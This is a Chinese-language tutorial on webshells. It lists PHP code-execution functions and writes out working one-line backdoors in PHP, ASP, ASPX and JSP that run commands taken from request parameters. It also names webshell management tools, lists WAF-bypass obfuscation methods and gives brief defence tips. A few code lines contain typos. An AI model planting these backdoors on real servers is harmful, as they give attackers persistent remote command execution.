Webshell介紹
什么是 WebShell
-
webshell就是以asp、php、jsp或者cgj等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門
-
由於 webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具
-
攻擊者可以利用 webshell從而達到長期控制網站服務器的目的,並獲得執行操作權
Webshell分類
一句話木馬的執行過程
PHP中常見的代碼執行函數
-
執行函數與 Webshell的關系
- PHP中可以執行代碼的函數,常常被用來編寫一句話木馬 ,因此對代碼執行函數做一些歸納
-
PHP中常見的代碼執行函數
-
eval()、 assert()、 preg_replace()、create_function()
- array_map()、call_user_func()、 call_user_func_array()、array_filter()
-
命令執行函數
- system()、exec()、 popen()、 passthru()、 shell_exec()、`
PHP Webshell
各個版本php支持函數如下
-
5.x :eval / assert / preg_replace /e /create_function
-
7.x :eval / assert
-
8.x :eval
常用PHP函數版本Webshell
**// eval()函數**
<?php eval($_REQUEST["cmd"]);?>
**// assert()函數**
<?php assert($_REQUEST["cmd"]);?>
**// preg_replace()函數**
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?>
**// create_function()函數**
<?php
$func = create_function('',$_REQUEST['cmd']);
$func();
?>
**// array_map()函數**
<?php
//func=system&cmd=ipconfig
$func=$_REQUEST['func'];
$cmd=$_REQUEST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>
**// array_filter函數**
<?php
//func=system&cmd=whoami
$cmd=$_REQUEST['cmd'];
$array1=array($cmd);
$func=$_REQUEST['func'];
array_filter($array1,$func);
?>
PHP 4種標記風格
php和其他幾種web語言一樣,都是使用一對標記將php代碼部分包含起來,以便和html代碼相區分,php一共4中標記風格
- xml風格(標准風格推薦使用)
<?php
echo "這是xml風格的標記";
?>
- xml風格的標記是常用的標記,也是推薦使用的標記,服務器不能禁用,該風格的標記在xml,xhtml中都可使用。
- 腳本風格
<script languange="php">
echo'這是腳本風格的標記';
</script>
- 短標簽風格
<? 這是簡短風格的標記; ?>
注:需要在php.ini配置文件中開啟short _open_tag=On ,默認關閉
- asp風格
<%
echo '這是asp風格的標記';
%>
注:需要在 php.ini 配置文件中開啟 asp_tags = On ,默認關閉
- 注:在以下情況應避免使用短標記:開發需要發行的程序或者庫,或者在用戶不能控制的服務器上開發。因為目標服務器可能不支持短標記。為了代碼的移植及發行,確保不要使用短標記。
其他語言 Webshell
asp語言Webshell
// 菜刀可以連接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII碼值
// 可以執行系統命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>
aspx語言Webshell
<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%>
<%@ Page Language="Jscript" validateRequest="false" %>
<%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>
jsp語言Webshell
// 執行系統命令且有回顯
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}out.print("</pre>");
}%>
Webshell管理工具
- 為什么使用 WebShel管理工具?
攻擊者在入侵網站時,通常要通過各種方式寫入 Webshell,從而獲得服務器的控制權限,比如執行系統命令、讀取配置文件等操作
-
Webshell管理工具四大功能
- 數據配置管理
- 虛擬終端操作
- 文件管理
- 數據庫管理
-
常見的 WebShel管理工具
蟻劍 (AntSword)
-
AntSword是一個開放源代碼,跨平台的網站管理工具
-
github項目地址:https://github.com/AntSwordProject/antSword
C刀 (Knife)
- 這是一款跨平台的基於配置文件的中國菜刀,把所有操作給予用戶來定義
- github項目地址:https://github.com/chora10/cknIfe
冰蠍 (Behinder)
-
一款動態二進制加密 網站管理客戶端
-
冰蠍″目前最新版本為v3.0,兼容性已經日益完善,加密不再依賴 PHP opens$!展功能,同時支持了簡單的ASP
-
主體功能方面包括虛擬終端、 socks代理、文件管理、反彈she!數據庫管理等,功能強大
Webshell變形
變形目的
-
waf通常以關鍵字 判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf不可能全部攔截
-
想要繞過waf,需要掌握各種PHP小技巧,把技巧結合起來,可以設計出屬於自己的一句話木馬
變形方法
- 利用str_replace() 函數
- 利用base64_decode() 函數
- 利用"."操作符
- 更換數據來源
- 替代標簽
- 字符串組合法隱藏關鍵字
- 其他變形
Webshell變形總結
繞過技巧
-
更換執行數據來源
-
字符替換 或者編碼
-
采取隱匿 手段
WebShell防御技巧
-
使用和及時更新防護類工具或產品
-
對服務器的文件夾設置嚴格的讀寫權限
-
在服務器中禁用一些敏感的危險函數 ,如命令執行 system() 等函數
-
定期檢查系統進程,查看是否有可疑的進程
-
根據文件的創建日期觀察系統目錄下是否有近期新建的可執行文件